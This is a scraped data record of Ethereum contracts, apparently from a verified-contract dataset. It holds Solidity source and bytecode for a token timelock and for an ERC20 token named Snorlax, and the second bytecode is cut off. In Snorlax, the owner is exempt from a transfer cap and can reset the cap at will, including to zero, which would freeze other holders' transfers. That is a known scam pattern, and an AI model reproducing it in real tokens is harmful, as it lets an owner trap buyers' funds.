function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract CoinovyTokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseTime_
) {
require(releaseTime_ > block.timestamp, "CoinovyTokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "CoinovyTokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "CoinovyTokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461006f578063b91d400114610079578063fc0c546a14610097575b600080fd5b6100596100b5565b6040516100669190610756565b60405180910390f35b6100776100dd565b005b61008161023a565b60405161008e9190610877565b60405180910390f35b61009f610262565b6040516100ac919061079a565b60405180910390f35b60007f00000000000000000000000025acd44224b7490b3cfab0e916b32bd82053a316905090565b6100e561023a565b421015610127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011e906107f7565b60405180910390fd5b6000610131610262565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101699190610756565b60206040518083038186803b15801561018157600080fd5b505afa158015610195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b991906105d0565b9050600081116101fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101f590610837565b60405180910390fd5b6102376102096100b5565b82610212610262565b73ffffffffffffffffffffffffffffffffffffffff1661028a9092919063ffffffff16565b50565b60007f0000000000000000000000000000000000000000000000000000000066d36127905090565b60007f000000000000000000000000e4ecb83db1b4769213a997334cd10a8c8a6a4ea3905090565b61030b8363a9059cbb60e01b84846040516024016102a9929190610771565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610310565b505050565b6000610372826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166103d79092919063ffffffff16565b90506000815111156103d2578080602001905181019061039291906105a7565b6103d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c890610857565b60405180910390fd5b5b505050565b60606103e684846000856103ef565b90509392505050565b606082471015610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906107d7565b60405180910390fd5b61043d85610503565b61047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610817565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516104a5919061073f565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50915091506104f7828286610516565b92505050949350505050565b600080823b905060008111915050919050565b6060831561052657829050610576565b6000835111156105395782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d91906107b5565b60405180910390fd5b9392505050565b60008151905061058c81610ad9565b92915050565b6000815190506105a181610af0565b92915050565b6000602082840312156105b957600080fd5b60006105c78482850161057d565b91505092915050565b6000602082840312156105e257600080fd5b60006105f084828501610592565b91505092915050565b610602816108c4565b82525050565b600061061382610892565b61061d81856108a8565b935061062d818560208601610930565b80840191505092915050565b6106428161090c565b82525050565b60006106538261089d565b61065d81856108b3565b935061066d818560208601610930565b61067681610963565b840191505092915050565b600061068e6026836108b3565b915061069982610974565b604082019050919050565b60006106b16039836108b3565b91506106bc826109c3565b604082019050919050565b60006106d4601d836108b3565b91506106df82610a12565b602082019050919050565b60006106f7602a836108b3565b915061070282610a3b565b604082019050919050565b600061071a602a836108b3565b915061072582610a8a565b604082019050919050565b61073981610902565b82525050565b600061074b8284610608565b915081905092915050565b600060208201905061076b60008301846105f9565b92915050565b600060408201905061078660008301856105f9565b6107936020830184610730565b9392505050565b60006020820190506107af6000830184610639565b92915050565b600060208201905081810360008301526107cf8184610648565b905092915050565b600060208201905081810360008301526107f081610681565b9050919050565b60006020820190508181036000830152610810816106a4565b9050919050565b60006020820190508181036000830152610830816106c7565b9050919050565b60006020820190508181036000830152610850816106ea565b9050919050565b600060208201905081810360008301526108708161070d565b9050919050565b600060208201905061088c6000830184610730565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006108cf826108e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109178261091e565b9050919050565b6000610929826108e2565b9050919050565b60005b8381101561094e578082015181840152602081019050610933565b8381111561095d576000848401525b50505050565b6000601f19601f8301169050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f436f696e6f7679546f6b656e54696d656c6f636b3a2063757272656e7420746960008201527f6d65206973206265666f72652072656c656173652074696d6500000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f436f696e6f7679546f6b656e54696d656c6f636b3a206e6f20746f6b656e732060008201527f746f2072656c6561736500000000000000000000000000000000000000000000602082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610ae2816108d6565b8114610aed57600080fd5b50565b610af981610902565b8114610b0457600080fd5b5056fea26469706673582212207b7232b790c374e4dcc016b6af5ed2562ecb1b7921d3d1d2b3837ef27d8db9b364736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 5,940 |
0xe97e94106ac735dd5a4da78308430113ee7094ec
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is IERC20, IERC20Metadata, Ownable {
using SafeMath for uint256;
string internal _name;
string internal _symbol;
uint256 internal _totalSupply;
uint256 public _maxTxAmount;
mapping(address => uint256) private _balances;
mapping(address => mapping (address => uint256)) private _allowances;
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public virtual override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract Snorlax is ERC20 {
using SafeMath for uint256;
uint256 private constant initialSupply = 1000000000000;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
super._mint(msg.sender, initialSupply * (10 ** decimals()));
_maxTxAmount = _totalSupply.div(10 ** 2);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _totalSupply.mul(maxTxPercent).div(
10 ** 2
);
}
function transfer(address _to, uint256 _value) public virtual override returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public virtual override returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function balanceOf(address who) public view virtual override returns (uint256) {
return super.balanceOf(who);
}
function approve(address _spender, uint256 _value) public virtual override returns (bool success) {
return super.approve(_spender, _value);
}
function allowance(address _owner, address _spender) public view virtual override returns (uint256 remaining) {
return super.allowance(_owner, _spender);
}
function totalSupply() public view virtual override returns (uint256) {
return super.totalSupply();
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80637d1db4a51161008c578063a9059cbb11610066578063a9059cbb146103d0578063d543dbeb14610434578063dd62ed3e14610462578063f2fde38b146104da576100ea565b80637d1db4a5146102fb5780638da5cb5b1461031957806395d89b411461034d576100ea565b806323b872dd116100c857806323b872dd146101f4578063313ce5671461027857806370a0823114610299578063715018a6146102f1576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d6575b600080fd5b6100f761051e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105c0565b60405180821515815260200191505060405180910390f35b6101de6105d4565b6040518082815260200191505060405180910390f35b6102606004803603606081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105e3565b60405180821515815260200191505060405180910390f35b6102806105f9565b604051808260ff16815260200191505060405180910390f35b6102db600480360360208110156102af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610602565b6040518082815260200191505060405180910390f35b6102f9610614565b005b610303610793565b6040518082815260200191505060405180910390f35b610321610799565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103556107c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039557808201518184015260208101905061037a565b50505050905090810190601f1680156103c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61041c600480360360408110156103e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610864565b60405180821515815260200191505060405180910390f35b6104606004803603602081101561044a57600080fd5b8101908080359060200190929190505050610878565b005b6104c46004803603604081101561047857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061096a565b6040518082815260200191505060405180910390f35b61051c600480360360208110156104f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061097e565b005b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b60006105cc8383610e56565b905092915050565b60006105de610e6d565b905090565b60006105f0848484610e77565b90509392505050565b60006009905090565b600061060d82610f28565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561085a5780601f1061082f5761010080835404028352916020019161085a565b820191906000526020600020905b81548152906001019060200180831161083d57829003601f168201915b5050505050905090565b60006108708383610f71565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610939576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610961606461095383600354610f8890919063ffffffff16565b610d3f90919063ffffffff16565b60048190555050565b6000610976838361100e565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ac5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117096026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c3a81600354610dce90919063ffffffff16565b600381905550610c9281600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dce90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808211610db6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b6000828481610dc157fe5b0490508091505092915050565b600080828401905083811015610e4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610e63338484611095565b6001905092915050565b6000600354905090565b6000610e8484848461128c565b610f1d8433610f1885600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681